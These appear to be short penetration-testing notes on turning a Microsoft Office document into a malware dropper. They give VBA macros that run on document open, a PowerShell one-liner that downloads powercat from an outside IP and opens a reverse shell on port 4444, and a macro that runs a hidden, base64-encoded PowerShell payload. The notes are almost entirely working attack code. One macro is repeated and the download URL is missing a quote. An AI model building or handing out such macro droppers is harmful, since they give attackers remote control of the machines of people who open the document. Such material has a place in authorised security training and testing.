Exploiting Microsoft Office


save file in .doc (97-2003)

Sub MyMacro()

CreateObject("Wscript.Shell").Run "powershell"

End Sub

Sub AutoOpen()

MyMacro

End Sub

Sub Document_Open()

MyMacro

End Sub

Sub MyMacro()

CreateObject("Wscript.Shell").Run "powershell"

End Sub

Powershell RevShell

IEX(New-Object System.Net.WebClient).DownloadString(http://192.168.118.6/powercat.ps1'):powercat -c 192.168.118.6 -p 4444 -e powershell

base64 that payload, than

Sub AutoOpen()
MyMacro
End Sub

Sub Document_Open()
MyMacro
End Sub

Sub MyMacro()
Dim Str As String

Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
...
Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
Str = Str + "A== "

CreateObject("Wscript.Shell").Run Str
End Sub